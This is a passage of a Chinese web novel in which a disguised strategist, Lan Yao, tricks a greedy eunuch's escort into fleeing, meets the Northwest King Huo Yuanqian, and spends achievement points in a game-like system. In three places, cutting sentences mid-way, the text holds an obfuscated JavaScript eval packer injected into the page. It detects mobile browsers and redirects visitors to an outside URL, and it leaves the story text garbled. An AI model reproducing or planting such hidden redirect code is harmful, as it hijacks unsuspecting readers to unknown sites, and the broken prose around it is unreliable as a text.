“没见识的东西。”徐榕骂道,“大将军交代的事自然重要,但神仙粮错过可就没有了,你就不想官职往上升几级,再发一笔大财吗?” “这……”屯将心动了。 徐榕乘胜追击,“那群流民虽卑贱,但保不齐有什么奇异之处,王屯将带二百龙虎军速去速回,定能万无一失。” 把二百龙虎军精锐全带上,别说五十个穿甲配刀的流民,就算翻一倍收拾起来也轻轻松松,而队伍中还留有三百普通兵卒,速战速决只出去一小会儿,不会出问题的。 屯将想到唾手可得的美人与名禄,很快被说服了。 …… “女郎,那群穿甲的龙虎军集结起来离开队伍了。” 车队一直没有移动,常安透过车帘缝隙看到外面的情景,小声向兰遥汇报。 兰遥睁开眼睛,听着朱漆彩车外的动静,瞳孔中一片深邃的平静。龙虎军单独离开,代表黄稚等人已经开始行动。 在第二枚锦囊中,他写道——“徐榕贪婪无常,刚愎自用,以神仙粮激其抢夺之心,诱其分兵,巧设陷阱,逐个击破。” 现在的队伍里,只剩下三百素质不高的普通兵卒和兰遥的五十部曲。 14. 收网 黄稚挑选的随兰遥行动的五十部曲,都是精兵中的精兵,每人都带了藤甲与腰刀,还在辎重车里藏了二十把长矛。 但想靠这五十人正面拿下三百普通兵卒,还是不容易。 兰遥却胸有成竹。好兵要在知兵的人手上才能发挥出威力,调开龙虎军的王屯将后,送嫁队伍中有资格发号施令的人只剩下徐榕,这种自私阴险、贪生怕死之徒遇到危险会如何选择,实在是太好猜了。 送嫁队伍暂时停驻在路边一座无人的小村庄里,龙虎军离开两刻钟后,村庄外突然传来喊杀声,正在听着小曲喝酒的徐榕耳朵捕捉到异样,一骨碌爬了起来。 “外面怎么了?快让人去看看!” 原本五百兵卒都是由王屯将管理的,他离开后,普通兵卒里的三位队主暂时顶了上来,三人对视一番,派了几个腿脚快的机灵的小兵出去查探情况,不一会儿出去的三个人只有两个哭天喊地跑了回来。 “队主,不好了,有两支流民军在村外打起来了,听声音有上千人,还有骑兵,有弓兵,外面全是烟尘,我们根本看不清情况,狗二想靠近些看,被一箭射死了!”报信的小兵身体抖得像筛糠,连木刺都拿不稳。 上千人,还有骑兵,有弓兵?三个队主吓了一跳,之前听说南兴和匈奴的交界处,有几支堪比军队的流民军,没想到他们这么倒霉,居然在这里遇上了。这种流民军都能和宗室王的精兵叫板了,他们拿头打啊! “要不再探探?”一个队主觉得哪里不太对劲。 “探个球!”另一个队主拍了他一巴掌,“你别犯浑,这事得立即禀报常侍,要是耽搁了常侍决策,咱们谁担得起罪?” ——要是耽搁了常侍逃跑,他们全都得丢脑袋! 三人立即找上坐立不安的徐榕,徐榕一听村外有如此危险的流民军,果然没有任何心思探明真假,只想赶快逃跑保全自己,不怕一万就怕万一,他才不会赌自己的命。 “龙虎军不在,咱家可不能以卵击石,派几个人去追王屯将,让他速速回来保护咱家,其余兵卒立即跟咱家走!” 徐榕听着外面催命般的打杀声,心如刀绞道,“除了那三辆有单独护卫的装嫁妆的大车,其余辎重全不要了,快,要快!” “徐常侍!西北王妃的部曲来问外面怎么了,咱们要带王妃一起跑吗?还有那个叫常珙的主簿——” “嗖——”一支流箭划破长空,落在了队伍附近,扎进地里,看得徐榕一个哆嗦。 他急得跳脚,“咱家连几大车钱粮都不要了,哪有功夫带累赘!她不是带了部曲吗,让她自生自灭,反正早死晚死都是一样的死!” 在徐榕急厉的催促中,不出十几个呼吸的功夫,三百兵卒就不成队形地拥促着他的牛车和三辆大车上路了,快到其他人根本没反应过来。 常安看着那群比羊还乱的稀稀拉拉的队伍的背影,扭头呸了一声,“小郎君,他们真的丢下我们跑了。” 兰遥端熄灭香炉中的淡香,开口说道,“让部曲立即清点辎重,把徐榕没带走的役夫绑起来,我们也走。” 常安跳下牛车去吩咐部曲们,阿絮小声问兰遥,“郎君,是不是很快就能见到我阿母了呀?” 兰遥含笑摸了摸她毛茸茸的脑袋,“对,阿絮的阿母应该就在村外。” 献出神仙粮情报的流民和探路兵卒看到的“流民军”,都是兰遥在锦囊中让黄稚与海静容派人假扮的,目的是分散徐榕手下的兵力,让徐榕害怕逼他带兵逃走,获得行动自由。 黄稚武艺高超,善于用兵,负责在陷阱处拖住那二百龙虎军,那么村外吓唬徐榕的人应该就是海静容在指挥了。 果不其然,兰遥这边刚清点好东西准备离开,海静容就带着一群人过来了。 “这座彩车上是神仙指引我们拯救的贵人,你们完成了神仙的任务,今晚每人可再吃半碗神仙粮。” 兰遥在车内听着海静容忽悠人,唇角带上笑意,海娘子确实是位人才,出来才不到十日,就能在他的点拨下能熟练使用神仙话术了。 海静容被常安引到牛车上,先拜见了兰遥,才简略说起这些日子路上发生的事。 “青壮流民都留在黄统领那边,我带了十位骑马的部曲,还有二百妇孺老人,用干草编成大扫帚绑在马尾上扫起尘土,再所有人一起粗着嗓子叫喊,总算是没露馅。” 想起方才的事,海静容有些后怕,但凡徐榕有些胆识,派兵卒冲杀过去,他们这群人就得遭殃,还好一切如小郎君所料,那徐榕就是个草包花架子。 兰遥道了声辛苦,又问她,“刚才那支箭是谁射的?” “是一个叫李典桉的年轻人,他的阿父是当年陪嫁主母的部曲,箭术是祖传的。”如果没有李典桉那两箭,一箭射杀探查的兵卒阻止他们靠近,一箭吓破徐榕的胆子,这次计划不会进展的如此顺利。 兰遥记住这个人才,“回头带他见我,此次有功之人我有重赏。” 想要手下忠心,领导者除了要知人善用、有决断力,还不能太小气,人心都是肉长的,你把人家当自己人,人家才会信任你为你卖命。 部曲们清点出了十五大车徐榕丢下的辎重,其中有八大车粮食,五大车帐篷还有两大车其他器具,全都用骡子拉着,部曲们赶着这些车,役夫们则被绑起来跟着队伍一起走。 加上兰遥自带的嫁妆,现在队伍里有二十一辆大车,海静容有些担忧,“小郎君,这里流寇已经多起来了,人为财死鸟为食亡,我们带这么多东西,万一引来强敌怎么办?” 兰遥正在思考徐榕的行为,一时没有回应。徐榕贪财更怕死,为了逃命丢下了大部分财物,却偏偏带走了那三辆装着替兰遥“保管”的嫁妆的大车。 兰遥怀疑,那些嫁妆箱子里的嫁妆早就被替换成了其他不方便示人的东西,且与谢大将军的隐藏目的有关,否则徐榕不会逃命时还记得带上它们。 究竟是什么东西,值得如此大费周章…… “小郎君?” 兰遥轻轻摇头,回答海静容的担忧,“海娘子放心,算日子,我们的外援这一两日该到了。” “外援?”海静容一愣,都走到荆州了,哪里来的外援。 西北王使臣常珙乘坐的牛车就在兰遥车驾一侧,兰遥隔着车窗向他颔首示意,常珙拱手回礼,无声地表达自己的敬佩与感激。 兰遥轻轻一笑,转回视线,“一位兵主杀神,长胜之王,有他在,后面路上遇到什么都不必担心。” …… 荆州多山多水,大路边一处溪水旁,一队装备精良、军纪严明的骑兵正在休整。 无论是取水煮汤,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159611|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是下马吃饭,每一个骑兵都离自己的马不出三尺远,时刻有一只手空着用来拔出武器,进入战斗状态。 几骑轻骑从远处急奔而来,斥候上前,向骑兵的统领者汇报情况。 “大王,东南三里外有一山地侧崖过高,主峰多树,口窄腹深,是设伏的好地方,我们在入口附近发现了新鲜的砍伐树木的痕迹,怕是有流寇搞鬼。” 霍元骞几口咬完手里的肉干,手背擦过唇角,看着四周的地势,“取舆图来。” 亲兵飞速从行囊中取出舆图展开,跟着他们一块来的黄玄也凑过来,“西北王殿下,咱们是不是快要遇到送嫁队伍了?” 回想这几日的经历,黄玄心里除了佩服还是佩服。 霍元骞带的这支的骑兵是他这辈子见过最精锐的军队,每个人身上都带着一股肃杀之气,敏锐警觉,令行禁止,还各个都是骑术好手。 黄玄觉得,就算是传说中的龙虎军,也比不上他们,真不知道霍元骞是如何训练出这样的骑兵的! 这一路上因为有人守夜,有人探路,他们向东走的速度比他单骑到凉州的速度还要快上几分,不到四日时间,他们就快要出荆州了。 霍元骞凝视着亲兵展开的舆图,马鞭点在他们现在所在的地方,向东划出几寸,在大路上画了个圈,又划向方才斥候探查到的山地。 “所有人二十个呼吸内整好行装,随孤去这里一探究竟。” 霍元骞下达命令,没有一个人表达疑问,三百人立即收起食物和器具,检查武器与行囊,跨上矫健的西北马,在二十个呼吸内列队在大路上。 黄玄已经习惯了这支骑兵的行事风格,默默跟在其中,骑兵机动性极强,很快就到了山地入口,霍元骞抬手示意队伍停下,让人再去探查,这一次派出的人更多,除了新鲜的砍树痕迹,还发现了一些衣物碎片与血迹。 “有人清扫过战场,统领者曾是行伍之人,不是普通流民军。” 这里不久前刚发生过一场伏击战,赢的那一方打扫了战场,他们的做法专业,手法却不够精细,应该是有久经行伍之人指挥。 霍元骞心生警惕,他率兵来此,是推测兰遥等人应该走到了此地附近,送嫁车队目标庞大,若这里有成规模的流寇,很可能知道他们的踪迹。 现在这里有伏击战的痕迹,情况可能不妙,希望那位兰家才俊有传闻中的本事,不要他还没见到人就出了事,那可就太遗憾了。 “大王,你看!侧峰山头挂起了一杆旗,上面好像还有字!” 霍元骞闻言看去,只见一面许多衣裳拼起来的大旗出现在一棵大树树顶,旗面在风中飞扬,上面隐约可见两个巨型字,一个是“骞”,一个是“兰”。 霍元骞沉默一瞬,转头看向队伍中的黄玄,黄玄啊了一声,向霍元骞请示后靠近山地,在一个安全距离扯着嗓子喊到,“阿父!——我是黄玄,你在不在!——” “老天爷!”躲在大旗下面的黄稚擦了把脸上的血,听到山峰下如假包换的儿子的声音,发出不知第几次同样的感叹,“小郎君真是神了!” 兰遥给他的最后一个锦囊,需在遇到军容整肃、威不可挡的陌生骑兵时打开,里面的纸条上写着—— “此乃西北王霍元骞麾下骑兵,举旗写骞、兰二字,可化险为夷,得其助力。” 15. 相遇 日头渐渐西移,气温也降了下来,天公收走了正午那点抚慰人心的暖意,让人意识到现在还是严寒时节。 担心迟则生变,兰遥一行人简单掩盖了一下踪迹,便前往与黄稚约定好的汇合地点。 等带着一群妇孺老人和大车来到几里外一处废弃的坞堡,夕阳已经挂在了天边,把万事万物染上火一般的颜色。 “小郎君,探路的人说黄统领已经到了,除此之外还有……”海静容顿了顿,“还有西北王殿下也在。” 西北王?兰遥眼睛一亮,看来他没有预估错时间,霍元骞果然来了。有这位杀神在,他就不用担心接下来路上的安全问题了。 “小郎君,我有一事不明,您为什么如此信任西北王?” 海静容不解,这些天相处下来,她能感觉到,兰遥是一个非常聪明谨慎的人,凡事都会多想一步,唯独对素未谋面的西北王如此信任,仿佛只要西北王在就万事无忧了。 兰遥很想揉揉脸缓解一下兴奋的心情,该怎么和海静容解释呢? 作为一名读者,他对霍元骞的信任不需要任何理由,因为他从旁观者的角度看过了这个人波澜壮阔的漫长人生,见证过他无数低谷与高光,也了解他的本心与每一次成长,对角色的喜爱自然而然转变为一种毫无保留的安全感。 原本还不觉得有什么,现在即将与喜欢的角色真正见面,兰遥竟有些紧张。 “把彩车停在百米外,我下车步行过去拜会主公。”兰遥说完又立即摇头,“不,还是请主公出来一趟,说我有策略奏对。” 兰遥有些纠结,到底该怎样营造一个完美的顶级谋士初登场画面,以后君臣相得的时候拿出来回忆,最好还能写进史书里成为一段佳话呢? 车中常安和海静容都没有说话,一个看窗外,一个看车壁,给难得犯点小傻的小郎君反应过来的时间,倒是阿絮歪着脑袋思考几秒后说,“可是郎君现在还是女郎呀。” “……”兰遥冷静了,有些失笑,他也是解决徐榕的问题后太放松了,才突然冒出这些奇怪想法。 看了看自己身上的裙装,再想到以防给家中惹麻烦,西北王妃的身份还要继续装下去,兰遥只好把刚才设想的几个明主贤臣初遇方案抛开。 让史书记载帝王霍元骞和谋士兰遥初次见面便君臣相得很好,但史书不能记载这天兰遥穿着上朱红下碧青的敞领襦裙,梳着惊鹤髻,还戴了鹿角金步摇吧。 另一个世界有傅粉何郎,他会被叫什么,红妆兰郎?兰遥拒绝。 这么想着,队伍已经来到了坞堡前。 这座坞堡原属于本地一户地主家,那家人有远见,二十多年前看到匈奴势大,朝廷有不敌之相,就修了这座坞堡自保,后来他们又举家去了更南边的地方避难,坞堡就空了下来,先后当过好几波流寇的匪窝,里面东西还算齐全。 坞堡修得不小,中间的空地有半个操场大,黄稚和黄玄听说兰遥等人到了,忙来到坞堡门口迎接,让人引大车还有流民、部曲进堡休息。 兰遥刚想找个机会问问黄稚和黄玄的经历,彩车前突然一阵骚动。 他透过车帘缝向外看,只见一个身披甲胄、英姿勃然的身影大步流星来到车前,虽看不到脸,但兰遥已经可以想象他是何等气宇轩昂。 隔着一道车帘,带着些意气与轻狂的年轻声音清晰传来,“孤来迟了,王妃可还安好?” 兰遥屏住呼吸,是霍元骞。这一瞬间他的心脏猛烈跳动,系统提示音也在疯狂作响,让耳边乱成一团。 好在霍元骞知道他的情况,没等他出声,接着说道,“坞堡主院收拾好了屋子,本王送王妃过去休息。” 赶车的车夫双股战战,在一群肃杀兵卒的注视下,把牛车赶到邬堡主院,主院的门槛提前拆了下来,常安等人也下了车,车夫将五头拉车的牛解下来,将彩车单独拉至院中。 霍元骞挥了挥手,所有人立即远离了主院,院门关上,隔绝邬堡中嘈杂的声音,一队兵卒在门外把守,防止任何人靠近。 虽是西北王妃,但二人毕竟没有完婚,这个行为其实有些失礼,不过兰遥这边的几个心腹都知道“王妃”的真实性别,霍元骞带的人又以大王为首是瞻,所以没有一个人提出异议,安静的院落里很快就只剩下霍元骞和兰遥二人。 兰遥已经在这个过程中冷静了下来,虽然心中对见到霍元骞的期待没有减少,但已经不再想东想西,而是把初见应该说的事情在脑海里过了一遍,胸有成竹后,揭起车帘主动从彩车上跳了下来。 霍元骞在想这个兰家才俊到底是何方神圣,出身不俗、多智近妖、似乎还会仙法,却对他这个快要没有封土和百姓的宗室王另眼相看,在信中言辞凿凿要辅佐自己逐鹿天下,是别有用心,还是所求非常…… 他走到车前,打算亲眼看看这个人的底细,突然间,彩绣着朱雀的车帘动了动,一只白皙修长的手探出来,轻轻揭开帘子,一个纤瘦的身影像只灵巧的鹿一样抓着裙摆低着头跳了出来。 霍元骞满腹的怀疑在这一瞬间竟全部变成了夕阳下一截白皙细嫩的后颈,如羊脂美玉般温润光滑,让人忍不住想上手抚摸感受一番。 他飞速晃了下头,重新看过去,从朱漆彩车上下来的人已经站直身体,明亮的双眸注视着自己,唇角带着一抹轻笑,神情有几分好奇,还有几分信任与亲近之意。 霍元骞一时几乎以为一切都搞错了,这位容姿绝美,气质出尘的仙子怎么会不是女郎,怎么会是男子假扮的呢? 下一秒,眼前疏云淡月的美人开口了,确真是男子的声音,霍元骞却一点也不觉得违和,只觉得像听到晨风徐徐吹过春日的柳林,令人心旷神怡。 “殿下避开众人,可有事相问?” 霍元骞定了下神,记起自己的怀疑,声音却不自觉放平和了半分,“你就是兰遥?黄玄送的那封信是你写的?” 兰遥敛袖正色,朗声说道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159612|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下问的可是——受国之垢,是谓社稷主;受国不祥,是谓天下王?”(注1) 这是那封简短的信中开篇第一句话,霍元骞呼吸微顿,如第一次看到它时一样心脏狂跳起来。 “孤只是偏远之地的封王,当不起这些重称。” 兰遥平静反问,“天子无德,将失其位。乱世将起,群雄逐鹿,百姓苦不堪言。殿下出身高贵,心怀天下,难道不想做社稷主吗?” 霍元骞眯起危险的眼睛,冷声问道,“你可知自己此言何等僭越?” 兰遥镇定自若,“殿下若真觉得僭越,就不会专程率军来此见我。” “殿下是承昭太子之后,与父兄镇守凉州多年,拒强敌于国门之外,劳苦功高。看着当今皇帝如此挥霍民脂,糟践山河,殿下当真不想取而代之吗?” “我之性命已全在殿下之手,殿下何必对我隐瞒?” 兰遥的目光太过澄澈和笃定,让霍元骞产生一种自己所有想法都被看穿的感觉,但奇怪的是,他并不对此感到厌恶与排斥,大概是因为兰遥同时表现出的坦荡与真诚。 霍元骞冷笑一声,“先让孤看看你大言不惭的本事,再谈这些东西。” 兰遥对霍元骞的脾气早有预料,弯眼笑道,“多谢主公信任。” “……”这就叫上主公了,霍元骞再一次移开视线,觉得这个人虽然有些可取之处,但也太自来熟了。 “主公,我有一事想请您出手。”哄好这位性格狂狷的年轻西北王,兰遥转而说起正事。 “何事?” “被派来送嫁的谢皇后宫中的常侍徐榕,带着三大车嫁妆逃走了。”兰遥简略讲了一下事情经过,“我想请主公派人把他们抓回来。” 霍元骞不在意道,“一个没骨头的阉竖,让人去追东西,随手杀了就是。” 兰遥摇头道,“请主公留他一命,他尚有用处。” 霍元骞想起中午见到的被一群部曲和流民拿下的二百龙虎军,还有黄稚口中神奇的锦囊,起了几分好奇,“你说他还有什么用?” “谢稹特意派徐榕和龙虎军送嫁,定然另有目的。我怀疑那三大车嫁妆被替换成了其他东西,由徐榕负责暗中运到某处。请主公派人把他捉回来严加审问,定有额外收获。” 兰遥轻声补充,“若谢稹与西北某人有勾结,或许,会有那批失踪的粮草的消息。” 兰遥话音落下,霍元骞的眼神在瞬间变得坚如寒冰,滔天杀气让人不敢直视。 那批失踪的支援粮草是凉州破城、上任西北王霍元致牺牲的直接原因,短短几个字里,蕴含着淹没无数生灵的血海深仇。 “孤亲自去捉拿徐榕,若真与失踪粮草有关,兰遥,孤记你这个情。” 兰遥拱手相送,“臣为主公麾下谋士,此乃分内之事,不敢居功。” 漫天夕阳下,霍元骞突然回头看了他一眼,不等兰遥看清那是什么眼神,他已经大步离开了主院。 16. 成就点 霍元骞离开后,兰遥现在的身份和打扮不好自己出院子,只能先进了屋子。 主院的正屋已经打扫干净了,上首摆着两张坐榻,中间小案上放着一个煮茶的小炉和一套粗瓷茶具。 兰遥给自己倒了碗品不出味道的茶汤,双手捧着大茶碗,盯着袅袅升起的白雾轻轻舒了口气。 刚才他其实是紧张的,拿出全身演技,才忍住没一直盯着上辈子就很喜欢的“龙傲天”主角看。好在他整体表现还不错,应该打动了霍元骞,可以开启自己的谋士之路了。 趁现在四周无人,兰遥研究起方才响个不停的系统提示音。 提示红点全部在“成就”界面,兰遥点进去,发现自己居然解锁了四个成就。 分别是“与霍元骞初遇”、“初次与霍元骞对话”、“初次向霍元骞献策”、“霍元骞好感度提升为萍水之交”。 为什么这么多和霍元骞有关的成就,甚至有好感度这种东西?兰遥有些无语,这个天命系统不会是霍元骞梦男做的吧! 看在好感度成就是高级成就,一口气给他加了十个成就点,让他的成就点来到了二十三的份上,兰遥决定先不吐槽这个设定了。 成就点到达十点后,可以从三本金色书籍中自选一本逐步解锁,兰遥之前就想好了,《行星发动机维护与保养》他已经有了,且用不上,《从名流巨星到时尚教父》在古代乱世也没什么作用。 反倒是那本《赤脚医生手册》,虽然也是现代背景的书,但赤脚医生的行医条件简陋,多需就地取材,还会用到不少中医知识,书里应该能找到许多这个时代能用的东西。 兰遥选择《赤脚医生手册》解锁,一阵金光后,系统给了他一个封皮和一个目录。 “……”好吧,就知道奸商系统不会大方,写了逐步解锁就要真“逐步”解锁。 兰遥把长达几页的目录大致看了一遍,发现这本书共分为二十一章,从预防疾病、中医药、针灸推拿、急症处理讲到传染病、寄生虫病、内外科疾病,还有许多其他实用篇目,堪称一本全面的实用性医学宝典。 如果把它研究透,在古代绝对能成为绝世名医。 兰遥阅读规则,五个成就点可以解锁一小节内容,内容可以自选,不是随机的。 他考虑了一下,先解锁了第一章“防病知识”小节,古代医疗、卫生条件差,与其等生病了再治疗,不如从源头预防疾病。 冬日天寒,人体的抵抗力弱,兰遥又带着许多来自四面八方的流民,到了凉州后,百姓聚居地的防病工作一定是重中之重,这一小节的知识正好派上用场。 剩余的成就点兰遥暂且没有使用,现在成就点太少,好钢要用在刀刃上,等遇到对应的问题,再去解锁具体小节也不迟。 搞定了成就,兰遥有些手痒想抽奖了,之前徐榕盯得太紧,为了防止抽奖过程中发生意外,系统升级送的五个抽奖券他还没有用。 他把茶碗放回小案上,双手合十,想到这个世界的气运之子是霍元骞,于是遥拜了一下自家主公,“求西北王保佑五连出金。” 一阵抽奖特效在虚幻的屏幕上闪过,一紫二灰二透明五个光团浮现在了空中。 虽然没有出金,但至少出了个紫色宝物,还算不错。 兰遥推测过系统宝物珍贵度划分的依据,灰色是虽然在普世珍贵,但没有神奇能力的宝物,比如他抽到的五粮液; 白色是在灰色的基础上,对宿主所在时空来说较为神奇,但发挥的效果在正常范畴的宝物,比如那些星际基础营养液,说白了本质上依旧是靠吃东西获得能量。 那么紫色是什么呢?兰遥点开那团在空中微微浮动的紫色光团,一张通体玄色、线条流畅的面具露了出来。 “一张面具:面具的使命是遮掩面容,只要你不想,它永远不会掉落,永远不会让人想起你真正的脸。但若一直戴着面具,真正的你究竟是谁?” 有趣的物品介绍,它又是出自哪个神奇的世界? 兰遥把面具取出来把玩,这张面具看不出是什么材质,只能遮住上半张脸,乍看上去很普通,细看却有水银般玄奥的暗纹随光线流动。 兰遥将面具放在脸上,面具立即贴合上去,他走到窗边的长几旁,这里摆着一张生锈的铜镜,模糊的镜面里,雌雄莫辨的少年上半张脸被面具覆盖,只露出姣好的唇瓣与白皙的下巴,充满神秘莫测的气质。 视线不受阻碍,且几乎没有异物感,也不怕掉下去,兰遥感受了一下,意识到这是一件对自己极为有用的神奇宝物。 看来紫色级别的宝物会有真正的神奇能力,而且不是消耗品。 有了这张面具,兰遥的计划可以进展的更顺利,他完全可以毫无负担地一人分饰两角,一边在内宅当西北王妃,一边在霍元骞麾下当谋士。 兰遥心情很好地收起面具,又去看刚抽出来的两个灰色光团,一个是一小瓶粗辣椒粉,一个是一组锋利的不锈钢箭矢。 系统的抽奖宝库里真是什么都有,这两件东西虽然没有面具珍贵,但也都能找到用处。 兰遥摸了摸下巴,有些想吃烧烤了,这个世界还没有辣椒,辣味主要靠茱萸提供,看到辣椒粉后,兰遥的馋虫被勾了起来。 “女郎。”常安独自走进院子,拔高声音唤了一声,提醒兰遥自己来了。 兰遥闻声关闭系统界面,打开屋门示意常安进来。 常安把手中的食盒放在案几上,回身关上门,“小郎君放心,西北王说您喜欢安静,让人守着院门,院里没有旁人。” “坞堡里有厨房和灶台,中午黄统领他们在山里顺手抓了几只野鸡,我让人做了小郎君爱吃的炙鸡,小郎君快尝尝看。” 没有烤肉,有烤鸡也不错,兰遥示意常安坐下一起用饭,拿起一张喧软的胡饼,掰开后往里面加了几块烤鸡肉,做了个简易的鸡肉夹馍。 “常安,你给我讲讲黄稚他们今天的经历,还有坞堡里的情况。” 常安这会儿才过来,除了等炙鸡,还与黄稚父子和海静容互通了重要信息,此时兰遥一问,她就把其他几人说的原模原样转述给兰遥。 “黄统领寻到一处绝佳的设伏山地,指挥流民设了许多陷阱,然而龙虎军的屯将有些见识,我们的人把他引到那里后,他没有冒进,而是派了小股兵卒进山探查。” “于是黄统领在探查的兵卒触发了一两个陷阱后,以身犯险,假装被他们抓住,混入了龙虎军中给他们带路。” 常安讲的简略,但从这寥寥几句话中,也能听出当时情况的凶险,兰遥放缓呼吸听她继续讲下去。 “在山地中,黄统领利用陷阱迷惑敌人,趁屯将不备雷霆出手击杀了他,屯将一死,龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159613|196584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虎军群龙无首,黄统领趁机逃脱,流民和部曲们在山中高喊打杀,龙虎军以为这里藏着一支大军,四散而逃,很快就被陷阱拿下了。” 兰遥轻轻颔首,黄稚这个破敌方法很符合他的风格,与其想一堆计谋,不如上手就杀,在绝对的武力值面前,很多客观条件差距就像纸糊的一样。 一个龙虎军的屯将个人武力,怎么能和《纵横问鼎》武榜前十的名将比?于是屯将和那二百龙虎军就悲剧了。 “黄统领把龙虎军的甲胄和兵器都收回来了,修补后能用的藤甲有一百七十六副,还有二百副腰刀与长矛,二十张长弓,二百支箭矢,以及一副铁甲、一柄大刀。” “大刀是龙虎军屯将的兵器,黄小郎君吵着要它,黄统领不许,让我来请示小郎君。” 黄玄在原著中就使得一手好大刀,此时他还没有趁手的兵器,那个屯将的大刀正好得用,兰遥道,“黄玄送信有功,把大刀给他吧。” 这次的收获在预料之中,十分丰厚,但打仗可不会只有收获,兰遥又问,“我们的伤亡如何,黄统领可有受伤?” 常安道,“黄统领只受了皮外伤,他说我们这次伤亡很小,只阵亡八人,其中部曲两人,流民六人。伤者有三十余人,都不影响走路,我已经开了我们的箱子送药过去了。” 兰遥静静坐着,一时没有说话,常安忍不住道,“小郎君,恕我直言,我虽不知兵,但三十多年里也算见识过不少事情,这用兵打仗,就是要死人的。” 兰遥叹气道,“不用安慰我,我还不至于如此天真,只是有些感慨罢了。” 正如常安所言,用兵打仗,怎么会不死人,这次战斗的伤亡比已经是大胜中的大胜。他在这个世界生活了十八年,不会像刚穿越的白纸一样怀有不切实际的善心。 慈不掌兵,也做不了乱世的谋士。 “让海娘子记录名册,告诉部曲与流民,只要跟我们走到凉州,战斗伤亡皆有抚恤,亡者抚恤可给其家眷。” 常安一一应下,又说起黄玄。 “黄小郎君颇为佩服西北王,对他又夸又赞,整日与凉州军混在一起,我看他恨不得投靠到西北王麾下去。” 兰遥听到黄玄的表现轻笑摇头,并不觉得有什么。 黄玄在原著里就是被霍元骞折服的迷弟,换个时间点相遇本质也不会改变,哪个武将能抵抗兵主杀神的光芒啊? 常安犹豫了一下,轻声说道,“黄小郎君还说,凉州现在情况特别不好,连座能住人的城池都没有,军队和幸存百姓一起在荒地上扎营,西北王自己住的院子还比不上这座坞堡的主院。” 常安知道凉州穷苦,但真正听说前,谁能料到会穷苦到这个程度! “小郎君,您真的觉得西北王可以——”常安指了指天。 兰遥摇了摇头,正色道,“常安,我知道你眼下不信,但以后你会看到我说的一切——霍元骞会是天下之主,现在只是一时龙困于渊,未来乘风而起,便是威震四方之时。” 兰遥话音落下,房屋外突然传来一声动静,常安紧张地站起来,兰遥却已经听出了外面的人是谁,镇定地走到门边打开门。 “主公得胜归来,怎么不早些进屋?” 霍元骞深深看了兰遥一眼。 “抓个吓破胆的阉竖算什么胜,人抓来了,你随孤去审他。”